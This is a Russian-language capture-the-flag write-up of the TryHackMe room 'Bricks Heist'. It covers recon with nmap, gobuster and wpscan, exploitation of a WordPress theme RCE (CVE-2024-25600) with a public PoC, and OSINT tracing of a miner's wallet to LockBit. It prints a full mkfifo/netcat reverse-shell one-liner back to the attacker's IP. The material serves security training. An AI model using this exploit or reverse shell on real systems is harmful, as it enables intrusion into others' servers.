TryHACK3M: Bricks Heist
https://tryhackme.com/room/tryhack3mbricksheist
Crack the code, command the exploit! Dive into the heart of the system with just an RCE CVE as your key.
МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU ДЛЯ ФОРУМА @FORUMZERODAY ПРОСЬБА ПОДПИСАТЬСЯ
МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU ДЛЯ ФОРУМА @FORUMZERODAY ПРОСЬБА ПОДПИСАТЬСЯ
МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU ДЛЯ ФОРУМА @FORUMZERODAY ПРОСЬБА ПОДПИСАТЬСЯ
Всех приветствую, это райт-ап (write-up) лёгкой машины на THM "Bricks Heist".
Подключимся по OpenVPN
Добавим айпишник и хост в /etc/hosts
echo "10.XX.XX.XX bricks.thm" | sudo tee -a /etc/hosts
sudo nmap -sS -sC -sV -T4 -vv 10.XX.XX.XX```
Внизу также есть MySQL, но он не понадобился. Стоит пока обратить внимание на директорию /wp-admin/. Попробуем открыть сам сайт по http протоколу, но столкнёмся с ошибкой
Попробуем перейти по httpS, SSL недействительный. Но сайт хотя бы грузится, но внутри будет только стена. Воспользуемся gobuster, чтобы прошелестить директории, воспользуемся списком directory-list-2.3-medium.txt.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://bricks.thm
Но выйдет ошибка, говорящая о недействительном SSL. Найдём соответствующий аргумент с помощью --help и grep
gobuster dir --help | grep "tls"
Найдём аргумент -k, который нам поможет запустить скан директорий.
Натыкаемся снова на директории от WordPress (wp-content, admin). Становится ясно, куда копать дальше - расчехляем wpscan. Опять сталкиваемся с проблемами с ssl, повторяем действия
wpscan --help | grep tls
Запустили скан и видим тему "bricks". Вспоминаем название задания, что является подсказкой и идём копать глубже.
Нехитрым запросом в гугле находим саму CVE и PoC к ней.
https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT - воспользуемся этим скриптом.
Клонируем репозиторий, входим в директорию и запускаем git clone https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT cd CVE-2024-25600-EXPLOIT python CVE-2024-25600.py
Но мы столкнёмся с проблемой: ModuleNotFoundError: No module named 'alive_progress'. Как я её решил (конечно, не очень правильно)
nano CVE-2024-25600.py
Я просто закомментировал 13 строку, которая мешает работе скрипта. Сохранил (Ctrl + O, Enter, Ctrl + X)
И скрипт заработал! Чтобы совершить атаку пишем:
python CVE-2024-25600.py -u https://bricks.thm
Пара секунд и мы в шелле! Чтобы сделать всё надёжнее сделаем уже reverse shell. Воспользуемся генератором revshells.com. Настроим его под себя:
В разделе IP & PORT ставим айпишник, который нам выдаст команда
ifconfig
Нас интересует интерфейс tun0, читаем параметр inet и записываем значение айпи в генератор. Так же его можно увидеть в правом верхнем углу.
Чтобы слушать порт мы вводим в кали команду (откройте новый терминал):
nc -nvlp PORT
Выбираете порт, которым будете пользоваться для прослушивания, в моём случае 1337.
И как видно на скрине, я воспользовался payload'ом 'nc mkinfo', он работает безотказно. Пишем сгенерированную команду в строку Shell >
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.21.199.107 1337 >/tmp/f
И вуаля, на другом терминале у вас открылась копия командной строки (это нужно для того, что эксплойт может прерваться, что вам помешает).
Когда мы уже в системе напишем ls и увидим список файлов, первый будет подозрительный .txt'шник. Прочитаем его с помощью команды cat и получим наш первый флаг!
cat 650c844110baced87e1606453b93f22a.txt
Чтобы получить второй воспользуемся командой
systemctl | grep running
Обнаружим, что есть какой-то странный процесс ubuntu.service, его выдаёт подпись TRYHACK3M. Изучим его глубже:
systemctl status ubuntu.service
Увидим какой-то nm-inet-dialog, этот процесс и есть подозрительный, так что это будет наш второй флаг.
Третий флаг уже ясен, это ubuntu.service.
Перейдём в директорию /lib/NetworkManager/nm-inet-dialog и узнаем содержимое с помощью ls
cd /lib/NetworkManager/nm-inet-dialog ls
Там будет inet.conf, прочитаем его содержание и увидим, что это и есть логи майнера, которые нам надо было найти.
cat inet.conf
Так же мы можем прочитать ID: ..., закинем его в CyberChef и попробуем расшифровать.
Казалось бы, вот наш ключ, но он неправильный. Из-за формата текст дублируется дважды, так что мы его отсекаем до момента, когда он повторится.
Это наш 4-ый флаг: bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa
А теперь применим навыки OSINT, поищем владельца кошелька. Нас ведёт на blockchain.com: https://www.blockchain.com/explorer/addresses/btc/bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa
Откроем транзакцию на 3.85799... BTC. Поищем в интернете этот адрес и наткнёмся на сводку от государства: https://ofac.treasury.gov/recent-actions/20240220. В ней уже можно прочитать о какой группировке идёт речь, это LockBit, что является нашим 5-ым флагом!